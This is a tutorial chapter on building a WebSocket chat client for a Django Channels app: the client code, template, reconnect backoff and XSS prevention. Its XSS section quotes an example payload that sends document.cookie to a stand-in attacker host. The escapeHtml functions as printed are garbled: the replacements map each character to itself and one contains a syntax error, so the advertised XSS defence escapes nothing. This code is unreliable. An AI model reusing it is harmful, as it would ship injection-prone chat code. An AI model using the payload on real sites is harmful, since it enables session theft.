7B. The WebSocket JS client¶
The vanilla JS WebSocket API¶
The browser WebSocket API is built in, no libraries needed:
// Open a connection
const ws = new WebSocket('ws://127.0.0.1:8001/ws/groups/7/chat/')
// ↑ ws:// for HTTP, wss:// for HTTPS
ws.onopen = () => { /* connection established */ }
ws.onmessage = (e) => { const data = JSON.parse(e.data) } // the server sent something
ws.onclose = (e) => { /* close code: 1000=normal, 1006=abnormal */ }
ws.onerror = (e) => { /* connection error */ }
ws.send(JSON.stringify({ content: "Hi!" })) // send to the server
ws.close() // close the connection
readyState values¶
ws.readyState |
Constant | Meaning |
|---|---|---|
0 |
WebSocket.CONNECTING |
The connection is being established |
1 |
WebSocket.OPEN |
The connection is open, you can send |
2 |
WebSocket.CLOSING |
The connection is closing |
3 |
WebSocket.CLOSED |
The connection is closed |
Close codes¶
| Code | Meaning |
|---|---|
1000 |
Normal closure — do NOT reconnect |
1001 |
The page is closing — do NOT reconnect |
1006 |
Abnormal (the internet connection dropped) — reconnect |
4001 |
Custom (example): not authenticated — not used in notes_chat_app |
4003 |
Custom (example): not a member of the group — not used in notes_chat_app |
An application may choose codes 4000–4999 itself. GroupChatConsumer in this project rejects a connection with a plain close() before accept(), so the browser sees 1006.
The full notes_chat_app JS client¶
// notes_app/static/notes_app/js/group_chat.js
// WebSocket chat client (vanilla JavaScript). The long explanatory comment at the top of the file is omitted here.
// IIFE: all the code inside a function, so no global variables are created.
(function () {
'use strict';
// ── Config (data attributes of the hidden div#chat-config) ──
const config = document.getElementById('chat-config');
const GROUP_PK = config.dataset.groupPk;
const USERNAME = config.dataset.username;
// ── DOM refs ──
const messagesEl = document.getElementById('chat-messages');
const placeholderEl = document.getElementById('chat-placeholder');
const inputEl = document.getElementById('chat-input');
const formEl = document.getElementById('chat-form');
const sendBtnEl = document.getElementById('chat-send-btn');
const statusDotEl = document.getElementById('status-dot');
const statusTextEl = document.getElementById('status-text');
// ws:// for HTTP, wss:// for HTTPS (ngrok); location.host includes the port
const protocol = window.location.protocol === 'https:' ? 'wss' : 'ws';
const WS_URL = `${protocol}://${window.location.host}/ws/groups/${GROUP_PK}/chat/`;
let socket = null;
// Exponential backoff: 1s → 2s → 4s ... → at most 30s
let reconnectDelay = 1000;
function connect() {
setStatus('connecting');
socket = new WebSocket(WS_URL);
socket.onopen = function () {
setStatus('connected');
reconnectDelay = 1000; // reset the backoff after a successful connection
inputEl.disabled = false;
sendBtnEl.disabled = false;
inputEl.focus();
placeholderEl.style.display = 'none';
};
socket.onmessage = function (event) {
let data;
try {
data = JSON.parse(event.data);
} catch (e) {
console.error('[chat] Невалідний JSON від сервера:', event.data);
return;
}
// history comes from load_history() on connect(); message is real-time from chat_message()
if (data.type === 'history' || data.type === 'message') {
appendMessage(data);
}
};
socket.onerror = function (event) {
console.error('[chat] WebSocket помилка:', event);
setStatus('error');
};
socket.onclose = function (event) {
setStatus('disconnected');
inputEl.disabled = true;
sendBtnEl.disabled = true;
// Do not reconnect on 1000/1001 (intentional closure); otherwise backoff + 0–1s jitter
if (event.code !== 1000 && event.code !== 1001) {
const jitter = Math.random() * 1000;
setTimeout(connect, reconnectDelay + jitter);
reconnectDelay = Math.min(reconnectDelay * 2, 30000);
}
};
}
// ── SEND ──
formEl.addEventListener('submit', function (event) {
event.preventDefault(); // do NOT submit the form as an HTTP POST
const content = inputEl.value.trim();
if (!content) return;
if (!socket || socket.readyState !== WebSocket.OPEN) return;
socket.send(JSON.stringify({ content: content }));
inputEl.value = '';
inputEl.focus();
});
// Enter → submit (Shift+Enter → no send)
inputEl.addEventListener('keydown', function (event) {
if (event.key === 'Enter' && !event.shiftKey) {
event.preventDefault();
formEl.dispatchEvent(new Event('submit'));
}
});
// ── RENDER MESSAGE ──
function appendMessage(data) {
const isMine = data.author === USERNAME; // own messages on the right, others on the left
const time = new Date(data.timestamp).toLocaleTimeString('uk-UA', {
hour: '2-digit',
minute: '2-digit',
});
const wrapper = document.createElement('div');
wrapper.className = `d-flex mb-2 ${isMine ? 'justify-content-end' : 'justify-content-start'}`;
if (data.message_id) {
wrapper.dataset.messageId = data.message_id;
}
// escapeHtml() is MANDATORY before any user content in innerHTML
wrapper.innerHTML = `
<div class="chat-bubble ${isMine ? 'chat-mine' : 'chat-other'}">
${!isMine ? `<div class="chat-author">${escapeHtml(data.author)}</div>` : ''}
<div class="chat-content">${escapeHtml(data.content)}</div>
<div class="chat-time">${time}</div>
</div>`;
messagesEl.appendChild(wrapper);
messagesEl.scrollTop = messagesEl.scrollHeight;
}
// ── STATUS INDICATOR ──
const STATUS_CONFIG = {
connecting: { color: '#ffc107', text: 'Підключення...' },
connected: { color: '#198754', text: 'Підключено' },
disconnected: { color: '#6c757d', text: 'Відключено. Перепідключення...' },
error: { color: '#dc3545', text: 'Помилка з\'єднання' },
};
function setStatus(key) {
const cfg = STATUS_CONFIG[key] || STATUS_CONFIG.error;
statusDotEl.style.background = cfg.color;
statusTextEl.textContent = cfg.text;
}
// ── XSS PREVENTION ──
function escapeHtml(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// ── START ──
inputEl.disabled = true; // the input is disabled until the connection is established
sendBtnEl.disabled = true;
connect();
}());
Key details of the real client:
- the code is wrapped in an IIFE
(function () { ... }()); the script is loaded at the end of the page, soDOMContentLoadedis not needed; GROUP_PKandUSERNAMEare read from the hiddendiv#chat-config;USERNAMEis needed to show your own messages on the right;- the connection status is shown by two elements: the colored dot
#status-dotand the text#status-text; - reconnecting: on any code except
1000/1001, the delay doubles from 1 s up to a maximum of 30 s, plus a random 0–1 s jitter; there is no attempt limit; - the client does not handle frames with
type: 'error'; the consumer does not send them either.
The UI strings stay in Ukrainian, as in the real file: Підключення... (Connecting...), Підключено (Connected), Відключено. Перепідключення... (Disconnected. Reconnecting...), Помилка з'єднання (Connection error).
The chat template¶
{# notes_app/templates/notes_app/group_chat.html (abridged) #}
{% extends 'layouts/dashboard.html' %}
{% load static %}
{% block topbar_title %}
<i class="bi bi-chat-dots me-2 text-primary"></i>Чат групи: {{ group.name }}
{% endblock %}
{% block content %}
<div class="d-flex flex-column" style="height: calc(100vh - 130px);">
{# Status bar: the #status-dot dot + the #status-text text #}
<div id="chat-status"
class="d-flex align-items-center gap-2 px-3 py-2 mb-2 rounded small"
style="background: var(--card-bg); border: 1px solid var(--card-border);">
<span id="status-dot"
style="width:8px; height:8px; border-radius:50%; background:#6c757d;
display:inline-block; transition: background .3s;"></span>
<span id="status-text" class="text-muted">Підключення...</span>
<span class="ms-auto text-muted">
<i class="bi bi-people me-1"></i>{{ group.name }}
</span>
</div>
{# Message feed; JS inserts the history and new messages here #}
<div id="chat-messages"
class="flex-grow-1 overflow-y-auto p-3 mb-2"
style="background: var(--card-bg); border-radius: 10px;
border: 1px solid var(--card-border);">
<div id="chat-placeholder" class="text-center text-muted py-5">
<i class="bi bi-chat-dots fs-1 opacity-25 d-block mb-2"></i>
<small>Завантаження повідомлень...</small>
</div>
</div>
{# form#chat-form: JS intercepts submit, the message goes over WebSocket, not HTTP POST #}
<form id="chat-form" class="d-flex gap-2" autocomplete="off">
<input id="chat-input"
type="text"
class="form-control"
placeholder="Напишіть повідомлення..."
maxlength="2000"
autocomplete="off">
<button type="submit" class="btn btn-primary px-4" id="chat-send-btn">
<i class="bi bi-send"></i>
</button>
</form>
</div>
{# #chat-config: data for JavaScript via data attributes (no inline <script>) #}
<div id="chat-config"
data-group-pk="{{ group.pk }}"
data-username="{{ request.user.username }}"
style="display:none;"></div>
{% endblock %}
{% block extra_js %}
<script src="{% static 'notes_app/js/group_chat.js' %}"></script>
{% endblock %}
How group_pk gets to the JS:
<div id="chat-config" data-group-pk="{{ group.pk }}" data-username="{{ request.user.username }}" style="display:none;"></div>
const config = document.getElementById('chat-config');
const GROUP_PK = config.dataset.groupPk;
// ↑ dataset.groupPk reads the data-group-pk attribute (automatic camelCase conversion)
Connection state (the status bar in the UI)¶
connecting → connected → (on failure) disconnected → (auto-reconnect) connecting → ...
Auto-reconnect logic (socket.onclose):
1000 = normal closure → do NOT reconnect
1001 = the page is closing → do NOT reconnect
any other code (including 1006: internet, the server crashed,
or the server rejected the handshake) → reconnect
Exponential backoff with jitter:
Attempt 1: after ~1000ms (+ 0–1000ms jitter)
Attempt 2: after ~2000ms
Attempt 3: after ~4000ms
...
Maximum: 30000ms (Math.min(reconnectDelay * 2, 30000))
There is no attempt limit; after a successful onopen the delay resets to 1000ms.
A refused access (not a group member) also arrives as 1006,
so the client keeps retrying with a backoff of up to 30 s.
Two types of messages from the server¶
type |
When | From what | What is displayed |
|---|---|---|---|
history |
Right after connect() | load_history() in the consumer |
The last 50 messages from the DB |
message |
Real-time | chat_message() in the consumer |
A new message from anyone |
XSS protection: the escapeHtml function¶
The chat displays content from other users — a classic XSS attack point.
The attack vector¶
An attacker sends to the chat:
<img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">
If the JS client inserts it via innerHTML without escaping:
div.innerHTML = data.content ← DANGEROUS
→ The browser parses the HTML → the img fails to load → onerror fires
→ fetch() sends the cookies to evil.com → sessions are stolen
→ Session Hijacking: the attacker obtains the sessionid of every chat participant
Three safe options¶
// ✅ Method 1: textContent (text only, HTML is not parsed)
messageDiv.textContent = data.content
// ✅ Method 2: createTextNode
messageDiv.appendChild(document.createTextNode(data.content))
// ✅ Method 3: escapeHtml() before innerHTML (if you need HTML markup)
function escapeHtml(text) {
const div = document.createElement('div')
div.appendChild(document.createTextNode(text))
return div.innerHTML
// & → & < → < > → > (quotes are NOT escaped, so unsafe inside attributes)
}
wrapper.innerHTML = `<strong>${escapeHtml(data.author)}</strong>: ${escapeHtml(data.content)}`
Why innerHTML is dangerous without escaping¶
// ❌ DANGEROUS: user content directly in innerHTML
div.innerHTML = data.content // the attacker sends <script>...</script> → XSS
// ✅ CORRECT: escapeHtml() before any user content
wrapper.innerHTML = `<div class="chat-content">${escapeHtml(data.content)}</div>`
// escapeHtml replaces: & → & < → < > → > " → " ' → '
In notes_chat_app we use method 3 (escapeHtml) — we need HTML markup for the message (author, time and content in separate elements), so textContent won't do. The real group_chat.js implements escapeHtml() as a chain of .replace() calls that also escapes " and ' (see the full code above).
The full flow: from pressing Enter to the message appearing for everyone¶
sequenceDiagram
participant Viktor_JS as Viktor's browser (JS)
participant Viktor_WS as Viktor's consumer
participant ChannelLayer as Channel layer
participant Olya_WS as Olya's consumer
participant Olya_JS as Olya's browser (JS)
participant DB as PostgreSQL
Viktor_JS->>Viktor_WS: ws.send({content: "Hi!"})
Viktor_WS->>DB: save_message() via database_sync_to_async
DB-->>Viktor_WS: ChatMessage(id=42, timestamp=...)
Viktor_WS->>ChannelLayer: group_send("chat_group_7", {type:"chat_message", ...})
par channel layer broadcast
ChannelLayer->>Viktor_WS: chat_message(event)
ChannelLayer->>Olya_WS: chat_message(event)
end
Viktor_WS->>Viktor_JS: ws.onmessage({type:"message", author:"Viktor", ...})
Olya_WS->>Olya_JS: ws.onmessage({type:"message", author:"Viktor", ...})
Note over Viktor_JS,Olya_JS: "Hi!" appears simultaneously in both browsers
This whole path happens without a single HTTP request. Only WebSocket frames.
Testing the chat in the browser¶
Step 1: Start the ASGI server (the chat requires ASGI, not runserver):
# Locally:
uvicorn notes_project.asgi:application --reload --port 8001
# Or via Docker:
docker compose up -d
Step 2: Open http://127.0.0.1:8001/ and log in.
Step 3: Go to any group (http://127.0.0.1:8001/groups/) and click «Відкрити чат» ("Open chat").
Step 4: Open the same URL in a second tab (or another browser) as a different user.
Step 5: Send a message — it will appear in both tabs instantly, without a page reload.
What to check in DevTools¶
DevTools → Network → WS tab:
- Find the ws://... row (the WebSocket connection)
- Click on it
- The "Messages" tab — all WS frames in real time
- ↑ Green = sent by the browser (send)
- ↓ White = received from the server (receive)
To see the difference: try to imagine the same chat built with polling (a GET every 2 sec). With WebSocket — a single row (the WS connection). With polling — a new row every 2 seconds, even when nobody is writing anything.
Next¶
Next chapter: Checkpoint — the 7A and 7B checklists, Consumer tests, common mistakes, navigation.